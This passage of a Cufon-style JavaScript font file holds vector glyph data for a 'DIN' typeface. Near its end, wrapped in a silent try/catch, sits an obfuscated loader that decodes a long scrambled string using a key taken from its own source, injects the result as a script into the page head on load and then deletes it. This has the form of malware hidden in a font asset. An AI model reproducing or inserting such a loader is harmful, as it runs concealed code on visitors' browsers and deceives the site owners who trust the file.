0,257r366,0r0,68xm362,-781r-66,0r-108,-153r86,0","w":600},{"d":"545,0r-442,0r0,-712r442,0r0,68r-366,0r0,251r312,0r0,68r-312,0r0,257r366,0r0,68xm472,-781r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":600},{"d":"499,0r-442,0r0,-72r356,-572r-342,0r0,-68r428,0r0,64r-359,580r359,0r0,68xm443,-934r-125,153r-68,0r-125,-153r69,0r90,105r90,-105r69,0","w":556},{"d":"496,0r-386,0r0,-330r-63,0r0,-54r63,0r0,-112v0,-137,93,-222,223,-222v68,0,119,20,163,64r-52,51v-26,-26,-52,-47,-111,-47v-93,0,-146,59,-146,164r0,102r146,0r0,54r-146,0r0,262r309,0r0,68","w":548},{"d":"355,74r-71,0r-284,-857r71,0","w":355},{"d":"290,-634r-80,0r0,-74r80,0r0,74","w":500},{"d":"470,-254v0,82,-51,138,-104,164v57,21,97,71,97,144v0,104,-81,172,-184,172v-99,0,-183,-54,-189,-161r73,0v6,62,49,95,116,95v68,0,111,-38,111,-105v0,-46,-32,-86,-88,-102r-78,-22v-88,-25,-137,-92,-137,-183v0,-82,51,-138,105,-164v-57,-26,-93,-65,-93,-138v0,-97,75,-164,180,-164v104,0,178,60,182,157r-72,0v-5,-66,-46,-93,-110,-93v-67,0,-108,34,-108,99v0,85,92,98,162,118v87,25,137,93,137,183xm279,-125v72,0,118,-49,118,-128v0,-73,-49,-128,-118,-128v-71,1,-121,53,-119,128v2,80,47,128,119,128","w":557},{"d":"396,-557v0,91,-73,164,-164,164v-91,0,-165,-73,-165,-164v0,-91,74,-164,165,-164v91,0,164,73,164,164xm335,-557v0,-60,-45,-106,-104,-106v-59,0,-103,46,-103,106v0,60,45,106,104,106v59,0,103,-46,103,-106","w":463},{"d":"289,-712r-333,712r-60,0r333,-712r60,0","w":185},{"d":"590,-235v0,142,-105,241,-249,241v-144,0,-248,-99,-248,-241r0,-477r76,0r0,471v0,108,68,179,172,179v104,0,173,-71,173,-179r0,-471r76,0r0,477xm500,-781r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":682},{"d":"429,-334v0,90,-73,163,-163,163v-90,0,-163,-73,-163,-163v0,-90,73,-163,163,-163v90,0,163,73,163,163","w":532},{"d":"465,-413r-74,0r-122,-228r-123,228r-74,0r164,-305r66,0","w":537},{"d":"470,-234r-175,0r0,176r-67,0r0,-176r-176,0r0,-67r176,0r0,-174r67,0r0,174r175,0r0,67"},{"d":"346,-628r-88,79r0,-163r88,0r0,84xm175,-628r-87,79r0,-163r87,0r0,84","w":434,"k":{"\u00c1":80,"\u00c2":80,"\u00c3":80,"\u00c0":80,"\u00c5":80,"\u00c4":80,"\u00c6":80,"J":120,"A":80}},{"d":"572,-206v-23,134,-120,212,-247,212v-70,0,-134,-26,-182,-74v-67,-67,-67,-137,-67,-288v0,-151,0,-221,67,-288v48,-48,112,-74,182,-74v128,0,223,78,247,212r-78,0v-19,-87,-80,-144,-169,-144v-47,0,-92,18,-123,50v-45,46,-50,95,-50,244v0,149,5,198,50,244v31,32,76,50,123,50v89,0,152,-57,171,-144r76,0","w":637,"k":{"\u00c1":10,"\u00c2":10,"\u00c3":10,"\u00c0":10,"\u00c5":10,"\u00c4":10,"\u00c6":10,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":34,"A":10}},{"d":"135,-246v0,117,48,188,146,188v47,0,76,-15,113,-56r49,47v-51,55,-94,73,-162,73v-124,0,-218,-84,-218,-252v0,-168,94,-252,218,-252v68,0,111,18,162,73r-49,46v-37,-41,-66,-55,-113,-55v-98,0,-146,72,-146,188","w":490,"k":{"\u00f5":15,"\u00f6":15,"\u00f4":15,"\u00f2":15,"\u00f3":15,"\u00eb":15,"\u00ea":15,"\u00e8":15,"\u00e9":15,"\u00e5":12,"\u00e3":12,"\u00e4":12,"\u00e2":12,"\u00e0":12,"\u00e1":12,"\u0153":15,"\u00e6":12,"w":20,"o":15,"e":15,"d":10,"c":15,"a":12}},{"d":"409,-747r-125,153r-68,0r-125,-153r69,0r90,105r90,-105r69,0","w":500},{"d":"933,0r-436,0r0,-74v-87,109,-261,101,-354,6v-65,-67,-67,-137,-67,-288v0,-151,2,-221,67,-288v92,-95,271,-103,354,6r0,-74r434,0r0,67r-358,0v0,78,1,177,1,254r304,0r0,64r-304,0v0,79,-1,181,-1,260r360,0r0,67xm497,-356v0,-149,-5,-196,-49,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v62,66,184,66,246,0v44,-47,49,-94,49,-243","w":989},{"d":"436,-492r-224,611v-22,69,-77,98,-162,92r0,-64v62,3,84,-9,103,-61r35,-96r-177,-482r78,0r135,395r134,-395r78,0","w":447,"k":{"\u00f5":10,"\u00f6":10,"\u00f4":10,"\u00f2":10,"\u00f3":10,"\u00eb":10,"\u00ea":10,"\u00e8":10,"\u00e9":10,"\u00e7":10,"\u0153":10,"\u00f8":10,"\u00e6":10,"o":10,"e":10,"c":10,"a":10,".":68}},{"d":"545,-644r-366,0r0,262r312,0r0,68r-312,0r0,314r-76,0r0,-712r442,0r0,68","w":580,"k":{"\u00d2":20,"\u00d4":20,"\u00d3":20,"\u00d5":20,"\u00d6":20,"\u00c7":20,"\u0153":38,"\u00f8":38,"\u00e6":38,"\u0152":20,"\u00d8":20,"z":30,"x":30,"u":30,"r":30,"p":30,"o":38,"n":30,"m":30,"e":38,"c":38,"a":38,"S":10,"Q":20,"O":20,"J":136,"G":20,"C":20,"A":60,".":98}},{"d":"471,-196v0,120,-92,202,-210,202v-118,0,-210,-82,-210,-202v0,-83,47,-139,107,-173v-56,-32,-93,-84,-93,-158v0,-111,83,-191,196,-191v113,0,196,80,196,191v0,74,-36,126,-92,158v60,34,106,90,106,173xm385,-526v0,-74,-51,-128,-124,-128v-73,0,-124,54,-124,128v0,75,51,127,124,127v73,0,124,-52,124,-127xm399,-197v0,-79,-60,-139,-138,-139v-78,0,-138,60,-138,139v0,79,60,139,138,139v78,0,138,-60,138,-139"},{"d":"262,6v-111,2,-177,-75,-177,-184r0,-314r72,0r0,303v0,87,46,131,120,131v74,0,123,-45,123,-131r0,-303r72,0r0,492r-71,0r0,-55v-35,40,-84,61,-139,61","w":562},{"d":"500,220r-72,0r0,-864r-117,0r0,864r-72,0r0,-546v-120,0,-197,-94,-197,-192v0,-107,80,-194,217,-194r241,0r0,932","w":603},{"d":"250,-58r-210,-210r210,-210r0,90r-120,120r120,121r0,89","w":328},{"d":"456,-190v0,118,-84,196,-195,196v-111,0,-195,-78,-195,-196r0,-332v0,-118,84,-196,195,-196v111,0,195,78,195,196r0,332xm384,-194r0,-324v0,-78,-44,-136,-123,-136v-79,0,-123,58,-123,136r0,324v0,78,44,136,123,136v79,0,123,-58,123,-136"},{"d":"467,-227r-332,0v0,108,51,170,145,170v57,0,90,-17,129,-56r49,43v-50,50,-96,76,-180,76v-130,0,-215,-78,-215,-252v0,-159,77,-252,202,-252v137,-1,211,107,202,271xm395,-281v1,-96,-48,-156,-130,-156v-81,0,-132,62,-130,156r260,0xm317,-594r-66,0r-108,-153r86,0","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"448,-189v-46,50,-86,70,-145,74r0,115r-59,0r0,-117v-110,-16,-181,-105,-181,-249v0,-144,71,-233,181,-249r0,-97r59,0r0,95v59,4,99,24,145,74r-49,46v-33,-37,-60,-52,-100,-55r0,372v40,-3,67,-18,100,-55xm248,-550v-76,18,-113,80,-113,184v0,105,37,165,113,184r0,-368","w":498},{"d":"299,-594r-66,0r-108,-153r86,0","w":500},{"d":"330,0r-72,0r0,-632r-133,117r0,-82r133,-115r72,0r0,712"},{"d":"867,0r-441,0r0,-169r-247,0r-88,169r-83,0r376,-712r483,0r0,68r-366,0r0,253r312,0r0,68r-312,0r0,255r366,0r0,68xm426,-235r0,-409r-214,409r214,0","w":922},{"d":"506,-712r-210,418r0,294r-76,0r0,-294r-212,-418r82,0r168,341r166,-341r82,0","w":514,"k":{"\u00d2":10,"\u00d4":10,"\u00d3":10,"\u00c1":40,"\u00c2":40,"\u00d5":10,"\u00c3":40,"\u00c0":40,"\u00e7":80,"\u00d6":10,"\u00c7":10,"\u00c5":40,"\u00c4":40,"\u0153":80,"\u00f8":80,"\u00e6":80,"\u0152":10,"\u00d8":10,"\u00c6":40,"z":40,"x":40,"u":40,"s":80,"r":40,"q":80,"p":40,"o":80,"n":40,"m":40,"g":80,"e":80,"d":80,"c":80,"a":80,"Q":10,"O":10,"J":40,"G":10,"C":10,"A":40,".":80}},{"d":"301,-498v140,0,180,126,180,252v0,126,-40,252,-180,252v-54,0,-99,-13,-139,-64r0,278r-72,0r0,-712r72,0r0,58v40,-52,85,-64,139,-64xm409,-246v0,-96,-16,-188,-123,-188v-107,0,-124,92,-124,188v0,96,17,188,124,188v107,0,123,-92,123,-188","w":545},{"d":"537,165r-537,0r0,-51r537,0r0,51","w":537},{"d":"175,-628r-87,0r0,-84r87,-79r0,163","w":263,"k":{"\u00c1":80,"\u00c2":80,"\u00c3":80,"\u00c0":80,"\u00c5":80,"\u00c4":80,"\u00c6":80,"s":60,"J":120,"A":80}},{"d":"346,0r-88,79r0,-163r88,0r0,84xm175,0r-87,79r0,-163r87,0r0,84","w":434,"k":{"Y":106,"W":50,"V":80,"T":106}},{"d":"167,-632r-81,0r0,-81r81,0r0,81xm162,0r-72,0r0,-492r72,0r0,492","w":253},{"d":"265,-498v138,0,201,118,201,252v0,134,-62,252,-201,252v-138,0,-201,-118,-201,-252v0,-134,62,-252,201,-252xm394,-246v0,-55,-4,-115,-39,-152v-45,-47,-134,-47,-179,0v-35,37,-40,97,-40,152v0,55,5,115,40,152v45,47,134,47,179,0v35,-37,39,-97,39,-152","w":530,"k":{"y":10,"x":20,"w":5,"v":10}},{"d":"185,-408r-86,0r0,-84r86,0r0,84xm184,220r-83,0r10,-512r62,0","w":316},{"d":"64,-246v0,-134,62,-254,201,-252v41,0,76,10,105,27r39,-65r56,0r-57,96v48,50,58,119,58,194v0,134,-62,254,-201,252v-41,0,-76,-10,-105,-27r-38,65r-57,0r57,-96v-48,-50,-58,-119,-58,-194xm394,-246v0,-47,-2,-97,-24,-133r-177,299v47,34,124,26,162,-14v35,-37,39,-97,39,-152xm337,-413v-48,-33,-123,-25,-161,15v-35,37,-40,97,-40,152v0,47,3,97,25,133","w":530},{"d":"545,0r-442,0r0,-712r442,0r0,68r-366,0r0,251r312,0r0,68r-312,0r0,257r366,0r0,68","w":600,"k":{"J":8}},{"d":"283,-434r-105,0r0,434r-72,0r0,-434r-63,0r0,-55r63,0v-7,-122,4,-224,125,-225r52,0r0,62v-65,-6,-105,11,-105,72r0,91r105,0r0,55","w":314,"k":{"\u00e7":19,"\u0153":19,"\u00e6":19,"\u201d":-20,"\u201c":-20,"o":19,"e":19,"c":19,"a":19,"\u2018":-20,".":50,"*":-20,"\u2019":-20}},{"d":"436,-492r-224,611v-22,69,-77,98,-162,92r0,-64v62,3,84,-9,103,-61r35,-96r-177,-482r78,0r135,395r134,-395r78,0xm348,-747r-108,153r-66,0r88,-153r86,0","w":446},{"d":"179,0r-76,0r0,-712r76,0r0,712xm277,-781r-66,0r-108,-153r86,0","w":282},{"d":"279,0v-111,13,-177,-40,-177,-132r0,-302r-62,0r0,-55r62,0r0,-154r72,0r0,154r105,0r0,55r-105,0r0,300v-2,60,40,78,105,72r0,62","w":332,"k":{"\u00e7":8,"\u0153":8,"\u00e6":8,"o":8,"e":8,"c":8,"a":8}},{"d":"407,0r-357,0r0,-62r274,-366r-259,0r0,-64r342,0r0,61r-275,367r275,0r0,64xm395,-747r-125,153r-68,0r-125,-153r69,0r90,105r90,-105r69,0","w":459},{"d":"593,220r-76,0r0,-912r-338,0r0,912r-76,0r0,-980r490,0r0,980","w":696},{"d":"445,-144v0,95,-81,150,-200,150v-83,0,-148,-19,-202,-71r48,-48v39,41,92,57,153,57v81,0,131,-29,131,-87v0,-73,-92,-74,-163,-79v-96,-7,-147,-51,-147,-132v0,-90,76,-144,181,-144v70,0,133,17,177,53r-47,47v-59,-56,-241,-59,-241,42v0,42,24,68,86,72v114,8,224,17,224,140xm405,-747r-125,153r-68,0r-125,-153r69,0r90,105r90,-105r69,0","w":496},{"d":"669,0r-92,0r0,-92r92,0r0,92xm424,0r-92,0r0,-92r92,0r0,92xm180,0r-92,0r0,-92r92,0r0,92","w":757},{"d":"64,-246v0,-134,62,-252,201,-252v74,0,137,35,168,95v33,-62,89,-95,163,-95v137,-1,211,107,202,271r-332,0v0,108,51,170,145,170v57,0,90,-17,129,-56r49,43v-50,50,-96,76,-180,76v-81,0,-142,-32,-177,-95v-31,60,-93,95,-167,95v-138,0,-201,-118,-201,-252xm727,-281v0,-95,-49,-156,-131,-156v-81,0,-132,62,-130,156r261,0xm394,-246v0,-55,-4,-115,-39,-152v-45,-47,-134,-47,-179,0v-35,37,-40,97,-40,152v0,55,5,115,40,152v45,47,134,47,179,0v35,-37,39,-97,39,-152","w":861},{"d":"199,74r-72,0r0,-860r72,0r0,860","w":326},{"d":"482,-113r-87,0r0,113r-71,0r0,-113r-284,0r0,-65r257,-534r77,0r-257,534r207,0r0,-202r71,0r0,202r87,0r0,65"},{"d":"629,0r-72,0r-378,-571r0,571r-76,0r0,-712r72,0r378,569r0,-569r76,0r0,712xm300,-894v74,-1,119,93,186,12r37,36v-45,45,-72,51,-95,51v-75,2,-119,-93,-186,-12r-37,-36v45,-45,70,-51,95,-51","w":732},{"d":"573,0v-112,12,-178,-36,-178,-131r0,-581r72,0r0,578v-5,64,39,77,106,72r0,62xm282,-434r-105,0r0,434r-72,0r0,-434r-63,0r0,-55r63,0v-7,-122,4,-224,125,-225r52,0r0,62v-65,-6,-105,11,-105,72r0,91r105,0r0,55","w":602},{"d":"467,-227r-332,0v0,108,51,170,145,170v57,0,90,-17,129,-56r49,43v-50,50,-96,76,-180,76v-130,0,-215,-78,-215,-252v0,-159,77,-252,202,-252v137,-1,211,107,202,271xm395,-281v1,-96,-48,-156,-130,-156v-81,0,-132,62,-130,156r260,0xm410,-602r-72,0r0,-89r72,0r0,89xm198,-602r-72,0r0,-89r72,0r0,89","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"470,-320r-418,0r0,-67r418,0r0,67xm470,-151r-418,0r0,-66r418,0r0,66"},{"d":"436,-492r-181,492r-64,0r-180,-492r78,0r134,395r135,-395r78,0","w":447,"k":{"\u00f5":10,"\u00f6":10,"\u00f4":10,"\u00f2":10,"\u00f3":10,"\u00eb":10,"\u00ea":10,"\u00e8":10,"\u00e9":10,"\u00e7":10,"\u0153":10,"\u00f8":10,"\u00e6":10,"s":10,"o":10,"e":10,"c":10,"a":10,".":68}},{"d":"590,-235v0,142,-105,241,-249,241v-144,0,-248,-99,-248,-241r0,-477r76,0r0,471v0,108,68,179,172,179v104,0,173,-71,173,-179r0,-471r76,0r0,477xm483,-789r-72,0r0,-89r72,0r0,89xm271,-789r-72,0r0,-89r72,0r0,89","w":682},{"d":"346,-628r-88,0r0,-84r88,-79r0,163xm175,-628r-87,0r0,-84r87,-79r0,163","w":434,"k":{"\u00c1":80,"\u00c2":80,"\u00c3":80,"\u00c0":80,"\u00c5":80,"\u00c4":80,"\u00c6":80,"J":120,"A":80}},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v44,-57,94,-73,174,-73v132,0,197,57,197,164r0,334r-72,0r0,-47v-40,40,-76,53,-142,53xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84xm186,-707v74,-1,119,93,186,12r37,36v-45,45,-72,51,-95,51v-75,2,-119,-93,-186,-12r-37,-36v45,-45,70,-51,95,-51","w":526},{"d":"599,0r-81,0r-57,-161r-311,0r-57,161r-81,0r262,-712r64,0xm439,-227r-132,-376r-134,376r266,0xm420,-867v0,65,-53,119,-118,119v-65,0,-118,-54,-118,-119v0,-65,53,-118,118,-118v65,0,118,52,118,118xm371,-867v0,-38,-31,-68,-69,-68v-38,0,-69,30,-69,68v0,38,31,69,69,69v38,0,69,-31,69,-69","w":611,"k":{"\u0152":8,"y":17,"v":17,"Y":35,"W":14,"V":35,"T":60,"Q":10,"O":10,"G":10,"C":10}},{"d":"288,-268r-210,210r0,-89r121,-121r-121,-120r0,-90","w":328},{"d":"167,-542r-79,0r0,-170r79,0r0,170","w":255}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-1035-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("~XFqOc7yCNL=~Z%;hc}2VXVLS^7qFcL=S^m2CN_IF9Plo6y)C%#qQjrMJ}#qQjr5Qq0rZjx}XtVm~fQ7Jaw_Y.U9NSoFCO{h[R3M)!5%cI`G$@l-=zW#26yq^1i?D;PL+v#qQjr)F.P=StU2Qjx6StUWQc_!StUWQXQ?StUWQX9MStUWQXU2StUWQXm!StUWQ.Q#StUWQX}MStUWQXx?StUWQXo6Uq#qQjr%QZF{h.0Wo67{h.0WF!_{h.0#7jm{h.0WFNF{h.0WFcm{h.0WocF{h.06o.%{h.0WFX9fStUWQXViStUWQXQyC17{h.V2Q.m{h.02FX_{h.0Woc_{h.0WFXo?StU2Qj}M7y{6StUWQXU#SZL{h.02o6FrVq#qQjrc7%#qQjr5Q}#qQjrM79#qQjr5Jtq{h.0Woc}{h.0Wo!%{h.Vqo^}{h.0WFj%{h.0WoNF{h.0Wo._{h.0#7j}{h.0WFX_-Nq#qQjr%7%#qQ!V#F9#qQ!V^Q}#qQjrcQ%#qQjrcF!-{h.V2QN}VStUWQXF%StUWQXV#StUWQX}!StUWQXwqN}#qQjm5o.9{h.0Wo!_{h.0Wo!9{h.0Wo!h{h.0#7!r{h.0WF._{h.VWQ._{h.0Wo.r{h.0Wo^m{h.02FjM{h.V27!9{h.0Wo^_{h.V#Q!m{h.02FXmZStUWQXV2V}#qQjr!Q%#qQjQ?7ZG{h.0Wo^9{h.0WFj_2V9#qQ!VyJ}#qQjr5o9#qQ!02Q}#qQjr5Q%#qQjrcJ9#qQjrMFN9{h.06o6r~StUWQXx^StUWQXV6StUWQXU?StU2Q!02StUWQXo#StUWQXoqa}#qQ!V#Q9#qQjr!7q#qQjr%7q#qQjr!F%r{h.VWQ6riR%#qQjrcQ}#qQjr%79#qQ!V2o5%YStUWQXFM.}#qQjx1J}F{h.0WoNm1SS}_~}#qQjr57%#qQjrco2_IoY99FxL{h.VWQ!}{V%#qQjr)o%#qQjr%o2q{h.0Wo6r{h.0WFN9DCZ%{h.VWQ.%CStUWQX957%#qFcVWQ9h;J%#qQjrc7yr{h.0WFj{+.Y#J9}#qQjr!QNmlQ%#qQjx?Qc?xStU2Q!oyStUWQXQiStUWQX7MStUWQ.h5StUWQXx6S}#{h.02Fj%{h.0Wo.h{h.0Wo!r{h.VW7j_{h.0WFXm{h.VWQ!m[~q#qQ!0#Fx7!StUWQcQ1StUWQ.U2[Uoih9#qQjr)7%#qQ!06J.r{h.0WF.M{h.0Wo.m3Q9#qQjr!7%%WSq#qQ!0#J}#qQ!0#FN%zStUWQXx#StUWQXoi_NF{h.0WFc_{h.0Wo^7yStUWQ.h%StU2Q!rcStUWQ.o#StU2QjV^StUWQ.U6Rj_{h.0WFj}{hNF)Qjm{h.0WFNVLh%#qQjr5oq#qQ!0#oq#qQjr%Qq#qQjr!79#qQ!06oY{)fI7WOX%y~ZV)~Y#Ga.0l{jq)fI0lOjqWfc#%OchyCZ#IaNV=F)?IOt%WCtQL[1y;CNo`o)?zC6yzS)3vJIh1hqW=~.P`a6G%{S9G{XMzhX9lSZ?!O^yGmZLGfI_%{1w`OXL!oS_GO^i=CXL6hX?MONUG~NFz{)3;C.#lJ2l@CY%IN^7OC9qhaSrOC9qL~Y3G")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":522,"face":{"font-family":"DIN","font-weight":500,"font-stretch":"normal","units-per-em":"1000","panose-1":"0 0 0 0 0 0 0 0 0 0","ascent":"800","descent":"-200","x-height":"6","bbox":"-104 -985 1115 226","underline-thickness":"51","underline-position":"-114","stemh":"64","stemv":"72","unicode-range":"U+0020-U+FB02"}}));

